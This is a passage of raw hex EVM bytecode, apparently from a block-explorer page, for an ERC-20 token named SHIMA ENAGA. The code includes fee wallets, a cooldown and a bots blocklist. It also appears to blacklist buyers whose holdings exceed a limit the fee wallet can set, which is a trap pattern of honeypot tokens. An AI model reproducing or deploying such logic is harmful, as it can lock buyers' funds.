ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750601360169054906101000a900460ff165b15611814576117f381611bfb565b6000479050670494654067e100008111156118125761181147611a16565b5b505b505b5b611822838383611ede565b505050565b6000600a83141561184d576000196effffffffffffffffffffffffffffff1690506118a9565b838311158290611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a9190612b54565b60405180910390fd5b50600083856118a29190612e7c565b9050809150505b9392505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156118fc57600080fd5b61194e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a681600954611eee90919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0a9190612cb6565b60405180910390a35050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a66600284611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a91573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ae2600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b0d573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b5e600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b89573d6000803e3d6000fd5b5050565b6000600b54821115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb90612b96565b60405180910390fd5b6000611bde611f82565b9050611bf38184611f3890919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3357611c32612fd7565b5b604051908082528060200260200182016040528015611c615781602001602082028036833780820191505090505b5090503081600081518110611c7957611c78612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1b57600080fd5b505afa158015611d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d53919061262a565b81600181518110611d6757611d66612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dce30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e32959493929190612cd1565b600060405180830381600087803b158015611e4c57600080fd5b505af1158015611e60573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ee9838383611fad565b505050565b6000611f3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611827565b905092915050565b6000611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612178565b905092915050565b6000806000611f8f6121db565b91509150611fa68183611f3890919063ffffffff16565b9250505090565b600080600080600080611fbf87612228565b95509550955095509550955061201d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe816122ee565b61210884836123ab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121659190612cb6565b60405180910390a3505050505050505050565b600080831182906121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b69190612b54565b60405180910390fd5b50600083856121ce9190612df1565b9050809150509392505050565b6000806000600b54905060006009549050612203600954600b54611f3890919063ffffffff16565b82101561221b57600b54600954935093505050612224565b81819350935050505b9091565b60008060008060008060008060006122458a600d54600e546123e5565b9250925092506000612255611f82565b905060008060006122688e87878761247b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828461229f9190612d9b565b9050838110156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db90612bd6565b60405180910390fd5b8091505092915050565b60006122f8611f82565b9050600061230f828461250490919063ffffffff16565b905061236381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123c082600b54611eee90919063ffffffff16565b600b819055506123db81600c5461229090919063ffffffff16565b600c819055505050565b6000806000806124116064612403888a61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061243b606461242d888b61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061246482612456858c611eee90919063ffffffff16565b611eee90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612494858961250490919063ffffffff16565b905060006124ab868961250490919063ffffffff16565b905060006124c2878961250490919063ffffffff16565b905060006124eb826124dd8587611eee90919063ffffffff16565b611eee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125175760009050612579565b600082846125259190612e22565b90508284826125349190612df1565b14612574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256b90612bf6565b60405180910390fd5b809150505b92915050565b60008135905061258e816132c0565b92915050565b6000815190506125a3816132c0565b92915050565b6000813590506125b8816132d7565b92915050565b6000815190506125cd816132d7565b92915050565b6000813590506125e2816132ee565b92915050565b6000815190506125f7816132ee565b92915050565b60006020828403121561261357612612613006565b5b60006126218482850161257f565b91505092915050565b6000602082840312156126405761263f613006565b5b600061264e84828501612594565b91505092915050565b6000806040838503121561266e5761266d613006565b5b600061267c8582860161257f565b925050602061268d8582860161257f565b9150509250929050565b6000806000606084860312156126b0576126af613006565b5b60006126be8682870161257f565b93505060206126cf8682870161257f565b92505060406126e0868287016125d3565b9150509250925092565b6000806040838503121561270157612700613006565b5b600061270f8582860161257f565b9250506020612720858286016125d3565b9150509250929050565b6000602082840312156127405761273f613006565b5b600061274e848285016125a9565b91505092915050565b60006020828403121561276d5761276c613006565b5b600061277b848285016125be565b91505092915050565b60006020828403121561279a57612799613006565b5b60006127a8848285016125d3565b91505092915050565b6000806000606084860312156127ca576127c9613006565b5b60006127d8868287016125e8565b93505060206127e9868287016125e8565b92505060406127fa868287016125e8565b9150509250925092565b6000612810838361281c565b60208301905092915050565b61282581612eb0565b82525050565b61283481612eb0565b82525050565b600061284582612d56565b61284f8185612d79565b935061285a83612d46565b8060005b8381101561288b5781516128728882612804565b975061287d83612d6c565b92505060018101905061285e565b5085935050505092915050565b6128a181612ec2565b82525050565b6128b081612f05565b82525050565b60006128c182612d61565b6128cb8185612d8a565b93506128db818560208601612f17565b6128e48161300b565b840191505092915050565b60006128fc602383612d8a565b91506129078261301c565b604082019050919050565b600061291f602a83612d8a565b915061292a8261306b565b604082019050919050565b6000612942602283612d8a565b915061294d826130ba565b604082019050919050565b6000612965601b83612d8a565b915061297082613109565b602082019050919050565b6000612988602183612d8a565b915061299382613132565b604082019050919050565b60006129ab602083612d8a565b91506129b682613181565b602082019050919050565b60006129ce602983612d8a565b91506129d9826131aa565b604082019050919050565b60006129f1602583612d8a565b91506129fc826131f9565b604082019050919050565b6000612a14602483612d8a565b9150612a1f82613248565b604082019050919050565b6000612a37601783612d8a565b9150612a4282613297565b602082019050919050565b612a5681612eee565b82525050565b612a6581612ef8565b82525050565b6000602082019050612a80600083018461282b565b92915050565b6000604082019050612a9b600083018561282b565b612aa8602083018461282b565b9392505050565b6000604082019050612ac4600083018561282b565b612ad16020830184612a4d565b9392505050565b600060c082019050612aed600083018961282b565b612afa6020830188612a4d565b612b0760408301876128a7565b612b1460608301866128a7565b612b21608083018561282b565b612b2e60a0830184612a4d565b979650505050505050565b6000602082019050612b4e6000830184612898565b92915050565b60006020820190508181036000830152612b6e81846128b6565b905092915050565b60006020820190508181036000830152612b8f816128ef565b9050919050565b60006020820190508181036000830152612baf81612912565b9050919050565b60006020820190508181036000830152612bcf81612935565b9050919050565b60006020820190508181036000830152612bef81612958565b9050919050565b60006020820190508181036000830152612c0f8161297b565b9050919050565b60006020820190508181036000830152612c2f8161299e565b9050919050565b60006020820190508181036000830152612c4f816129c1565b9050919050565b60006020820190508181036000830152612c6f816129e4565b9050919050565b60006020820190508181036000830152612c8f81612a07565b9050919050565b60006020820190508181036000830152612caf81612a2a565b9050919050565b6000602082019050612ccb6000830184612a4d565b92915050565b600060a082019050612ce66000830188612a4d565b612cf360208301876128a7565b8181036040830152612d05818661283a565b9050612d14606083018561282b565b612d216080830184612a4d565b9695505050505050565b6000602082019050612d406000830184612a5c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612da682612eee565b9150612db183612eee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612de657612de5612f4a565b5b828201905092915050565b6000612dfc82612eee565b9150612e0783612eee565b925082612e1757612e16612f79565b5b828204905092915050565b6000612e2d82612eee565b9150612e3883612eee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e7157612e70612f4a565b5b828202905092915050565b6000612e8782612eee565b9150612e9283612eee565b925082821015612ea557612ea4612f4a565b5b828203905092915050565b6000612ebb82612ece565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f1082612eee565b9050919050565b60005b83811015612f35578082015181840152602081019050612f1a565b83811115612f44576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c981612eb0565b81146132d457600080fd5b50565b6132e081612ec2565b81146132eb57600080fd5b50565b6132f781612eee565b811461330257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2b696519a0ac9a62310b8320b3789034b58af95138b2e34619d3e52a905080164736f6c63430008070033000000000000000000000000f53e90eb4dd25a1d7af590163ca575d7a3f014dd000000000000000000000000f53e90eb4dd25a1d7af590163ca575d7a3f014dd000000000000000000000000f53e90eb4dd25a1d7af590163ca575d7a3f014dd

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a08231116100955780639e08d1a3116100645780639e08d1a31461031c578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de57806342966c68146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612b54565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906126ea565b61042a565b60405161016d9190612b39565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612cb6565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612697565b610452565b6040516101d59190612b39565b60405180910390f35b3480156101ea57600080fd5b506101f361052b565b6040516102009190612d2b565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612784565b610534565b005b34801561023e57600080fd5b506102596004803603810190610254919061272a565b6105a2565b005b34801561026757600080fd5b50610270610654565b005b34801561027e57600080fd5b50610299600480360381019061029491906125fd565b6106c6565b6040516102a69190612cb6565b60405180910390f35b3480156102bb57600080fd5b506102c4610717565b005b3480156102d257600080fd5b506102db61086a565b6040516102e89190612a6b565b60405180910390f35b3480156102fd57600080fd5b50610306610893565b6040516103139190612b54565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612784565b6108d0565b005b34801561035157600080fd5b5061036c600480360381019061036791906126ea565b61094a565b6040516103799190612b39565b60405180910390f35b34801561038e57600080fd5b50610397610968565b005b3480156103a557600080fd5b506103ae6109e2565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612657565b610f28565b6040516103e49190612cb6565b60405180910390f35b60606040518060400160405280600b81526020017f5348494d4120454e414741000000000000000000000000000000000000000000815250905090565b600061043e610437610faf565b8484610fb7565b6001905092915050565b6000600954905090565b600061045f848484611182565b6105208461046b610faf565b61051b8560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610faf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118279092919063ffffffff16565b610fb7565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610575610faf565b73ffffffffffffffffffffffffffffffffffffffff161461059557600080fd5b61059f33826118b0565b50565b6105aa610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90612c16565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610695610faf565b73ffffffffffffffffffffffffffffffffffffffff16146106b557600080fd5b60004790506106c381611a16565b50565b6000610710600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d565b9050919050565b61071f610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5348494d41000000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610911610faf565b73ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b633b9aca00816109419190612e22565b600a8190555050565b600061095e610957610faf565b8484611182565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a9610faf565b73ffffffffffffffffffffffffffffffffffffffff16146109c957600080fd5b60006109d4306106c6565b90506109df81611bfb565b50565b6109ea610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90612c16565b60405180910390fd5b601360149054906101000a900460ff1615610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612c96565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600954610fb7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce919061262a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3057600080fd5b505afa158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c68919061262a565b6040518363ffffffff1660e01b8152600401610c85929190612a86565b602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd7919061262a565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d60306106c6565b600080610d6b61086a565b426040518863ffffffff1660e01b8152600401610d8d96959493929190612ad8565b6060604051808303818588803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddf91906127b1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ed2929190612aaf565b602060405180830381600087803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190612757565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612c76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612bb6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111759190612cb6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612b76565b60405180910390fd5b600081116112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90612c36565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112fc57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561135357600080fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ee576002600d819055506002600e819055505b6113f661086a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611464575061143461086a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115145750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115825750601360179054906101000a900460ff165b156116235742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115d257600080fd5b6005426115df9190612d9b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561181657600a54611735846106c6565b11156117455761174483611e83565b5b6002600d819055506004600e819055506000611760306106c6565b9050601360159054906101000a900460ff161580156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750601360169054906101000a900460ff165b15611814576117f381611bfb565b6000479050670494654067e100008111156118125761181147611a16565b5b505b505b5b611822838383611ede565b505050565b6000600a83141561184d576000196effffffffffffffffffffffffffffff1690506118a9565b838311158290611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a9190612b54565b60405180910390fd5b50600083856118a29190612e7c565b9050809150505b9392505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156118fc57600080fd5b61194e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a681600954611eee90919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0a9190612cb6565b60405180910390a35050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a66600284611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a91573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ae2600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b0d573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b5e600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b89573d6000803e3d6000fd5b5050565b6000600b54821115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb90612b96565b60405180910390fd5b6000611bde611f82565b9050611bf38184611f3890919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3357611c32612fd7565b5b604051908082528060200260200182016040528015611c615781602001602082028036833780820191505090505b5090503081600081518110611c7957611c78612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1b57600080fd5b505afa158015611d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d53919061262a565b81600181518110611d6757611d66612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dce30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e32959493929190612cd1565b600060405180830381600087803b158015611e4c57600080fd5b505af1158015611e60573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ee9838383611fad565b505050565b6000611f3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611827565b905092915050565b6000611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612178565b905092915050565b6000806000611f8f6121db565b91509150611fa68183611f3890919063ffffffff16565b9250505090565b600080600080600080611fbf87612228565b95509550955095509550955061201d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe816122ee565b61210884836123ab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121659190612cb6565b60405180910390a3505050505050505050565b600080831182906121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b69190612b54565b60405180910390fd5b50600083856121ce9190612df1565b9050809150509392505050565b6000806000600b54905060006009549050612203600954600b54611f3890919063ffffffff16565b82101561221b57600b54600954935093505050612224565b81819350935050505b9091565b60008060008060008060008060006122458a600d54600e546123e5565b9250925092506000612255611f82565b905060008060006122688e87878761247b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828461229f9190612d9b565b9050838110156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db90612bd6565b60405180910390fd5b8091505092915050565b60006122f8611f82565b9050600061230f828461250490919063ffffffff16565b905061236381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123c082600b54611eee90919063ffffffff16565b600b819055506123db81600c5461229090919063ffffffff16565b600c819055505050565b6000806000806124116064612403888a61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061243b606461242d888b61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061246482612456858c611eee90919063ffffffff16565b611eee90919063ffffffff16565b90508083839550955095505050509350935